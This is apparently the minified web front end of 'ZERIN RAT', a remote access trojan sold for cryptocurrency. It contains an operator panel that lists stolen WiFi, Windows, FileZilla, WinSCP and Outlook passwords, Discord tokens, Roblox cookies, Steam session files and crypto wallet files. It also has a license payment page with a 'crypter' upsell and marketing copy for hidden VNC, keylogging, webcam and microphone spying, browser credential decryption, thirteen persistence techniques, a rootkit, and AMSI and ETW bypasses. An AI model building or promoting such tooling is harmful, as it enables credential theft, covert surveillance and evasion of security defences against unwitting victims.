py-2 text-zerin-text-muted font-medium",children:"SSID"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.wifi.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:T.ssid}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.auth}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password||"(none)"})]},ae))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),a.jsx($n,{title:"Windows Credentials",count:(($=c.windows_credentials)==null?void 0:$.length)??0,expanded:d.has("wincreds"),onToggle:()=>k("wincreds"),children:(U=c.windows_credentials)!=null&&U.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.windows_credentials.map((T,ae)=>a.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${T.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[T.is_rdp&&a.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),T.target]}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.username,ue),children:T.username}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.type})]},ae))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),a.jsx($n,{title:"Discord Tokens",count:((B=c.discord_tokens)==null?void 0:B.length)??0,expanded:d.has("discord"),onToggle:()=>k("discord"),children:(K=c.discord_tokens)!=null&&K.length?a.jsxs("table",{className:"w-full text-xs",children:[a.jsx("thead",{children:a.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),a.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.discord_tokens.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.source}),a.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:T.type}),a.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:ue=>S(T.token,ue),children:[T.token.slice(0,20),"..."]})]},ae))})]}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),a.jsx($n,{title:"Applications",count:((Z=c.telegram)!=null&&Z.found?1:0)+(((le=c.filezilla)==null?void 0:le.length)??0)+(((de=c.winscp)==null?void 0:de.length)??0)+(((we=c.putty)==null?void 0:we.length)??0)+(((ye=c.outlook)==null?void 0:ye.length)??0),expanded:d.has("apps"),onToggle:()=>k("apps"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((G=c.telegram)==null?void 0:G.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),a.jsx("p",{className:"text-xs text-zerin-text font-mono mb-1",children:a.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:T=>S(c.telegram.path,T),children:c.telegram.path})}),(((te=c.telegram.files)==null?void 0:te.length)??0)>0&&a.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:c.telegram.files.map((T,ae)=>a.jsxs("button",{onClick:()=>yr(T.data,T.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.name]},ae))})]}),(((C=c.filezilla)==null?void 0:C.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",c.filezilla.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.filezilla.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[T.host,":",T.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ae))})})]}),(((Y=c.winscp)==null?void 0:Y.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",c.winscp.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.winscp.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.host}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ae))})})]}),(((re=c.putty)==null?void 0:re.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",c.putty.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.putty.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text-dim",children:T.session}),a.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[T.host,":",T.port]}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.user})]},ae))})})]}),(((F=c.outlook)==null?void 0:F.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",c.outlook.length,")"]}),a.jsx("table",{className:"w-full text-xs",children:a.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:c.outlook.map((T,ae)=>a.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.account}),a.jsx("td",{className:"py-1 text-zerin-text font-mono",children:T.server}),a.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ue=>S(T.password,ue),children:T.password?"••••••••":""})]},ae))})})]}),!((se=c.telegram)!=null&&se.found)&&!((be=c.filezilla)!=null&&be.length)&&!((ke=c.winscp)!=null&&ke.length)&&!((Ae=c.putty)!=null&&Ae.length)&&!((I=c.outlook)!=null&&I.length)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),a.jsx($n,{title:"Gaming Sessions",count:((fe=c.steam)!=null&&fe.found?1:0)+((q=c.epic)!=null&&q.found?1:0)+(((ne=c.minecraft)==null?void 0:ne.length)??0)+((ve=c.roblox)!=null&&ve.found?1:0),expanded:d.has("gaming"),onToggle:()=>k("gaming"),children:a.jsxs("div",{className:"space-y-3 p-4",children:[((H=c.steam)==null?void 0:H.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold mb-1",children:a.jsx("span",{className:"text-blue-400",children:"Steam"})}),a.jsxs("div",{className:"flex flex-wrap gap-1.5",children:[c.steam.loginusers&&a.jsxs("button",{onClick:()=>yr(c.steam.loginusers,"loginusers.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," loginusers.vdf"]}),c.steam.config&&a.jsxs("button",{onClick:()=>yr(c.steam.config,"config.vdf"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," config.vdf"]}),(Q=c.steam.ssfn_files)==null?void 0:Q.map((T,ae)=>a.jsxs("button",{onClick:()=>yr(T.data,T.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.name]},ae))]})]}),((he=c.epic)==null?void 0:he.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Epic Games"}),a.jsxs("button",{onClick:()=>yr(c.epic.config,"GameUserSettings.ini"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," GameUserSettings.ini"]})]}),(((E=c.minecraft)==null?void 0:E.length)??0)>0&&a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Minecraft (",c.minecraft.length,")"]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:c.minecraft.map((T,ae)=>a.jsxs("button",{onClick:()=>yr(T.data,`${T.launcher}_accounts.json`),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",T.launcher]},ae))})]}),((ce=c.roblox)==null?void 0:ce.found)&&a.jsxs("div",{children:[a.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Roblox"}),c.roblox.cookie?a.jsxs("p",{className:"text-xs text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-full truncate",onClick:T=>S(c.roblox.cookie,T),children:[".ROBLOSECURITY: ",c.roblox.cookie.slice(0,40),"..."]}):c.roblox.cookie_file?a.jsxs("button",{onClick:()=>yr(c.roblox.cookie_file,"RobloxCookies.dat"),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," RobloxCookies.dat"]}):null]}),!((ee=c.steam)!=null&&ee.found)&&!((xe=c.epic)!=null&&xe.found)&&!((Ne=c.minecraft)!=null&&Ne.length)&&!((ze=c.roblox)!=null&&ze.found)&&a.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No gaming sessions found"})]})}),a.jsx($n,{title:"Crypto Wallets",count:((X=c.wallets)==null?void 0:X.length)??0,expanded:d.has("wallets"),onToggle:()=>k("wallets"),children:(ie=c.wallets)!=null&&ie.length?a.jsx("div",{className:"space-y-3 p-4",children:c.wallets.map((T,ae)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-amber-400",children:T.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",T.files.length," file",T.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:T.files.map((ue,lt)=>a.jsxs("button",{onClick:()=>yr(ue.data,ue.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",ue.name]},lt))})]},ae))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No wallets found"})}),a.jsx($n,{title:"VPN Configs",count:((oe=c.vpn)==null?void 0:oe.length)??0,expanded:d.has("vpn"),onToggle:()=>k("vpn"),children:(Oe=c.vpn)!=null&&Oe.length?a.jsx("div",{className:"space-y-3 p-4",children:c.vpn.map((T,ae)=>a.jsxs("div",{children:[a.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:[a.jsx("span",{className:"text-emerald-400",children:T.name}),a.jsxs("span",{className:"text-zerin-text-muted ml-1.5 font-normal",children:["(",T.files.length," file",T.files.length!==1?"s":"",")"]})]}),a.jsx("div",{className:"flex flex-wrap gap-1.5",children:T.files.map((ue,lt)=>a.jsxs("button",{onClick:()=>yr(ue.data,ue.name),className:"inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer",children:[a.jsx(br,{})," ",ue.name]},lt))})]},ae))}):a.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No VPN configs found"})}),(((et=c.errors)==null?void 0:et.length)??0)>0&&a.jsx($n,{title:"Errors",count:c.errors.length,expanded:d.has("errors"),onToggle:()=>k("errors"),children:a.jsx("div",{className:"p-4 space-y-1",children:c.errors.map((T,ae)=>a.jsxs("div",{className:"text-xs",children:[a.jsxs("span",{className:"text-zerin-text-dim font-medium",children:[T.source,":"]})," ",a.jsx("span",{className:"text-zerin-danger",children:T.error})]},ae))})})]})]})}),p&&a.jsx("div",{className:"fixed z-50 px-2.5 py-1 text-xs font-medium text-white bg-zerin-accent pointer-events-none animate-fade-in",style:{left:p.x,top:p.y,transform:"translate(-50%, -100%)"},children:p.text})]})}function $n({title:e,count:t,expanded:n,onToggle:r,children:i}){return a.jsxs("div",{className:"border border-zerin-panel-border overflow-hidden",children:[a.jsxs("button",{onClick:r,className:"w-full flex items-center gap-2 px-4 py-2.5 text-left hover:bg-zerin-panel-hover transition-colors",children:[a.jsx("svg",{className:`w-3.5 h-3.5 text-zerin-text-dim transition-transform ${n?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),a.jsx("span",{className:"text-sm font-semibold text-zerin-text",children:e}),a.jsx("span",{className:"text-xs font-mono text-zerin-text-muted bg-zerin-panel-hover px-1.5 py-0.5",children:t})]}),n&&a.jsx("div",{className:"border-t border-zerin-panel-border",children:i})]})}async function IV(e){const t=await fetch(`/api/payments/${e}/status`);if(!t.ok)throw new Error("Payment not found");return t.json()}const DV={pending:{label:"Awaiting Payment",color:"text-amber-400"},waiting:{label:"Waiting for Confirmation",color:"text-amber-400"},confirming:{label:"Confirming...",color:"text-blue-400"},sending:{label:"Processing...",color:"text-blue-400"},partially_paid:{label:"Partially Paid",color:"text-amber-400"},confirmed:{label:"Confirmed",color:"text-emerald-400"},finished:{label:"Complete",color:"text-emerald-400"},failed:{label:"Failed",color:"text-red-400"},expired:{label:"Expired",color:"text-zinc-400"},refunded:{label:"Refunded",color:"text-zinc-400"}};function RV(){const{id:e}=rl(),[t,n]=m.useState(null),[r,i]=m.useState(""),[s,o]=m.useState(!1),l=m.useCallback(async()=>{if(e)try{const f=await IV(e);n(f)}catch{i("Payment not found")}},[e]);m.useEffect(()=>{l();const f=setInterval(l,5e3);return()=>clearInterval(f)},[l]);const c=(t==null?void 0:t.status)==="finished"||(t==null?void 0:t.status)==="confirmed"||(t==null?void 0:t.status)==="failed"||(t==null?void 0:t.status)==="expired"||(t==null?void 0:t.status)==="refunded";m.useEffect(()=>{},[c]);const u=()=>{t!=null&&t.license_key&&(navigator.clipboard.writeText(t.license_key),o(!0),setTimeout(()=>o(!1),2e3))},d=t?DV[t.status]||{label:t.status,color:"text-zinc-400"}:null;return a.jsxs("div",{className:"relative min-h-screen bg-[#04040a] text-zerin-text overflow-x-hidden",children:[a.jsx("div",{className:"fixed top-0 left-1/2 -translate-x-1/2 w-[800px] h-[500px] pointer-events-none",style:{background:"radial-gradient(ellipse at center, rgba(6,182,212,0.03) 0%, transparent 70%)"}}),a.jsx("nav",{className:"relative z-10 border-b border-[#1a1a22] bg-[#04040a]/80 backdrop-blur-xl",children:a.jsxs("div",{className:"max-w-6xl mx-auto px-6 h-16 flex items-center justify-between",children:[a.jsxs(xt,{to:"/",className:"flex items-center gap-3",children:[a.jsx("span",{className:"font-display font-bold text-lg tracking-tight text-zerin-text",children:"ZERIN"}),a.jsx("span",{className:"text-[9px] font-mono tracking-[0.15em] border border-zerin-accent/25 text-zerin-accent/70 px-1.5 py-0.5 leading-none",children:"RAT"})]}),a.jsx(xt,{to:"/",className:"text-zerin-text-dim hover:text-zerin-text text-sm font-mono transition-colors px-3 py-1.5",children:"Back"})]})}),a.jsx("div",{className:"relative z-10 flex items-center justify-center min-h-[calc(100vh-64px)] px-6 py-12",children:a.jsx("div",{className:"w-full max-w-lg",children:r?a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-red-400/60 uppercase mb-3",children:"Error"}),a.jsx("p",{className:"text-zerin-text-muted mb-8",children:r}),a.jsx(xt,{to:"/",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2.5 transition-all duration-300 inline-block",children:"Go Home"})]}):t?a.jsxs("div",{className:"relative bg-[#08080c] border border-[#1a1a22] overflow-hidden",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"border-b border-[#1a1a22] px-6 py-4",children:a.jsxs("div",{className:"flex items-center justify-between",children:[a.jsx("div",{className:"font-mono text-[11px] tracking-[0.2em] text-zerin-text-muted/60 uppercase",children:"Payment Status"}),a.jsxs("div",{className:"flex items-center gap-2",children:[!c&&a.jsx("span",{className:"w-1.5 h-1.5 rounded-full bg-zerin-accent animate-pulse-dot"}),a.jsx("span",{className:`font-mono text-[12px] font-semibold ${d==null?void 0:d.color}`,children:d==null?void 0:d.label})]})]})}),a.jsxs("div",{className:"px-6 py-6 space-y-6",children:[a.jsxs("div",{className:"space-y-3",children:[a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Order"}),a.jsxs("span",{className:"font-mono text-[12px] text-zerin-text-dim",children:[t.payment_id.substring(0,8),"..."]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Amount"}),a.jsxs("span",{className:"font-mono text-[14px] text-zerin-text font-semibold",children:["$",t.amount," ",t.currency.toUpperCase()]})]}),a.jsxs("div",{className:"flex justify-between items-center",children:[a.jsx("span",{className:"text-[13px] text-zerin-text-muted",children:"Product"}),a.jsx("span",{className:"text-[13px] text-zerin-text-dim",children:t.tier==="rat_crypter"?"Lifetime License + Crypter":"Lifetime License"})]})]}),!c&&a.jsxs("div",{children:[a.jsx("div",{className:"h-[2px] bg-[#1a1a22] overflow-hidden",children:a.jsx("div",{className:"h-full bg-zerin-accent transition-all duration-1000",style:{width:t.status==="waiting"?"25%":t.status==="confirming"?"50%":t.status==="sending"?"75%":t.status==="partially_paid"?"40%":"10%",animation:"pulse 2s ease-in-out infinite"}})}),a.jsx("p",{className:"text-[11px] font-mono text-zerin-text-muted/40 mt-2 text-center",children:"This page auto-refreshes every 5 seconds"})]}),t.license_key&&a.jsxs("div",{className:"space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-emerald-500/30 to-transparent"}),a.jsx("div",{className:"font-mono text-[10px] tracking-[0.2em] text-emerald-400/60 uppercase text-center",children:"Your License Key"}),a.jsx("div",{className:"flex items-center gap-2",children:a.jsx("code",{className:"flex-1 block p-3 text-[11px] font-mono bg-[#04040a] border border-emerald-500/20 text-emerald-400 break-all select-all text-center leading-relaxed",children:t.license_key})}),a.jsx("button",{onClick:u,className:"w-full py-2 text-xs font-mono border border-[#1a1a22] text-zerin-text-dim hover:border-zerin-accent/30 hover:text-zerin-text transition-all duration-300",children:s?"Copied!":"Copy Key"}),a.jsxs("p",{className:"text-[10px] text-amber-400/60 text-center font-mono",children:["Save this key — use it to register at"," ",a.jsx(xt,{to:"/register",className:"underline hover:text-amber-400",children:"/register"})]})]}),(t.status==="failed"||t.status==="expired")&&a.jsxs("div",{className:"text-center space-y-3",children:[a.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-red-500/20 to-transparent"}),a.jsx("p",{className:"text-[13px] text-red-400/70",children:t.status==="expired"?"This payment has expired. Please create a new one.":"Payment failed. Please try again."}),a.jsx(xt,{to:"/#pricing",className:"inline-block border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-6 py-2 transition-all duration-300",children:"Try Again"})]})]})]}):a.jsxs("div",{className:"text-center",children:[a.jsx("div",{className:"w-5 h-5 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin mx-auto mb-4"}),a.jsx("p",{className:"text-zerin-text-muted text-sm font-mono",children:"Loading payment..."})]})})})]})}const Vi=[{id:"remote",label:"Remote Operations",tag:"RMT",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m6.75 7.5 3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0 0 21 18V6a2.25 2.25 0 0 0-2.25-2.25H5.25A2.25 2.25 0 0 0 3 6v12a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Full interactive control over target systems with multiple access channels.",features:[{name:"Interactive Shell",desc:"CMD and PowerShell execution with full stdout/stderr capture",detail:"Hidden process, configurable timeout, pipe-based I/O"},{name:"PowerShell Engine",desc:"Base64-encoded command execution bypassing argument restrictions",detail:"UTF-16LE encoded commands via -EncodedCommand"},{name:"VNC Remote Desktop",desc:"Real-time interactive desktop session over WebSocket",detail:"Low-latency streaming, keyboard + mouse control"},{name:"Hidden VNC (hVNC)",desc:"Invisible desktop session on a separate virtual desktop",detail:"User sees nothing — operator has full GUI access"},{name:"File Operations",desc:"Upload, download, delete, encrypt, and browse the target filesystem",detail:"Directory listing, file transfer, in-place encryption"},{name:"Process Management",desc:"List running processes, terminate by PID, spawn new processes",detail:"Full process enumeration with details"}],terminal:{title:"zerin :: remote-ops",lines:["$ session --connect agent-7f3a","[*] Session established — latency 42ms","$ shell whoami"," DESKTOP-PC\\Administrator","$ hvnc --start --desktop zerin_hidden"," [+] Hidden desktop created"," [+] Explorer.exe spawned on hidden desktop",' [+] VNC streaming — active']}},{id:"surveillance",label:"Surveillance",tag:"SRV",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"m15.75 10.5 4.72-4.72a.75.75 0 0 1 1.28.53v11.38a.75.75 0 0 1-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 0 0 2.25-2.25v-9a2.25 2.25 0 0 0-2.25-2.25h-9A2.25 2.25 0 0 0 2.25 7.5v9a2.25 2.25 0 0 0 2.25 2.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Real-time visual and audio monitoring of target environments.",features:[{name:"GDI Screen Capture",desc:"Standard BitBlt-based screenshot capture returning raw BMP",detail:"Lightweight, compatible with all Windows versions"},{name:"DXGI Desktop Duplication",desc:"GPU-accelerated capture using DirectX for high-fidelity screenshots",detail:"Dirty-rect tiling, works even when GDI is blocked by EDR"},{name:"Webcam Access",desc:"Enumerate and stream from capture devices in real-time",detail:"Device selection, live feed to dashboard"},{name:"Microphone Recording",desc:"Capture live audio from the target microphone",detail:"Streaming audio to operator dashboard"},{name:"Input Monitoring",desc:"Keystroke capture with application context per window",detail:"Logs organized by active window title"}]},{id:"credentials",label:"Credential Auditing",tag:"CRD",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M15.75 5.25a3 3 0 0 1 3 3m3 0a6 6 0 0 1-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1 1 21.75 8.25Z",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Extract and validate stored credentials across browsers and applications.",features:[{name:"Chromium Browsers",desc:"Chrome, Edge, Brave, Opera, Vivaldi — passwords, cookies, tokens",detail:"DPAPI master key decryption, AES-256-GCM v80+ support"},{name:"Firefox",desc:"Decrypt saved logins from logins.json and key4.db",detail:"NSS credential store decryption"},{name:"Wi-Fi Profiles",desc:"Extract saved wireless network passwords",detail:"All stored PSK passphrases via profile export"},{name:"Windows Credential Manager",desc:"DPAPI-protected vault entries and stored credentials",detail:"Full credential enumeration"},{name:"Discord Tokens",desc:"Scan LevelDB stores for Discord stable, Canary, and PTB",detail:"Token extraction from .ldb and .log files"},{name:"Application Credentials",desc:"Telegram, FileZilla, WinSCP, PuTTY, Outlook sessions",detail:"Session data, saved passwords, stored configs"}],terminal:{title:"zerin :: cred-audit",lines:["$ creds --all --format json"," [*] Scanning credential stores..."," [+] Chrome: 47 saved passwords"," [+] Edge: 12 saved passwords"," [+] Firefox: 8 saved logins"," [+] WiFi: 5 stored profiles"," [+] Discord: 2 tokens found"," [+] WinSCP: 3 saved sessions",' [] Export complete — 77 credentials']}},{id:"persistence",label:"Persistence Engine",tag:"PST",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M19.5 12c0-1.232-.046-2.453-.138-3.662a4.006 4.006 0 0 0-3.7-3.7 48.678 48.678 0 0 0-7.324 0 4.006 4.006 0 0 0-3.7 3.7c-.017.22-.032.441-.046.662M19.5 12l3-3m-3 3-3-3m-12 3c0 1.232.046 2.453.138 3.662a4.006 4.006 0 0 0 3.7 3.7 48.656 48.656 0 0 0 7.324 0 4.006 4.006 0 0 0 3.7-3.7c.017-.22.032-.441.046-.662M4.5 12l3 3m-3-3-3 3",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"13 persistence mechanisms covering user-level and elevated techniques.",features:[{name:"Registry Run Key",desc:"HKCU\\...\\Run — survives reboot, no elevation required"},{name:"Scheduled Task",desc:"Recurring schtask with configurable interval and name"},{name:"Windows Service",desc:"AUTO_START service via Service Control Manager (requires elevation)"},{name:"Startup Folder",desc:"Drop to current-user Startup directory — simple, reliable"},{name:"Logon Script",desc:"UserInitMprLogonScript environment variable hijack"},{name:"Screensaver Hijack",desc:"SCRNSAVE.EXE registry replacement — triggers on idle"},{name:"IFEO Debugger",desc:"Image File Execution Options debugger redirect (requires elevation)"},{name:"BITS Job",desc:"Background Intelligent Transfer Service notification command"},{name:"COM Object Hijack",desc:"CLSID InProcServer32 hijack — loaded by Explorer on login"},{name:"DLL Search Order",desc:"Plant DLL in application directory for search order hijack"},{name:"WMI Subscription",desc:"FilterToConsumerBinding with CommandLineEventConsumer"},{name:"Port Monitor",desc:"Print spooler monitor DLL — loaded by spoolsv.exe (requires elevation)"},{name:"Security Support Provider",desc:"LSA Security Packages registry — loaded by LSASS on boot"}]},{id:"evasion",label:"Evasion Engine",tag:"EVA",accent:"#06B6D4",icon:a.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:"1.5",className:"w-5 h-5",children:a.jsx("path",{d:"M3.98 8.223A10.477 10.477 0 0 0 1.934 12c1.292 4.338 5.31 7.5 10.066 7.5.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0 1 12 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 0 1-4.293 5.774M6.228 6.228 3 3m3.228 3.228 3.65 3.65m7.894 7.894L21 21m-3.228-3.228-3.65-3.65m0 0a3 3 0 1 0-4.243-4.243m4.242 4.242L9.88 9.88",strokeLinecap:"round",strokeLinejoin:"round"})}),lead:"Multi-layered defense evasion — static, runtime, and in-memory techniques.",features:[{name:"Rootkit (11 Hooks)",desc:"Reflective DLL with inline hooks for process, file, registry, network, and service concealment",detail:"MinHook-based: NtQuerySystemInformation, NtQueryDirectoryFile, NtEnumerateKey, NtDeviceIoControlFile, and more"},{name:"AMSI Bypass",desc:"Patches AmsiOpenSession at runtime — all AMSI scans silently fail",detail:"XOR-constructed patch bytes avoid static signatures"},{name:"ETW Patching",desc:"Patches EtwEventWrite with xor eax,eax; ret — blinds EDR telemetry",detail:"Applied in own process + all injected processes"},{name:"Sleep 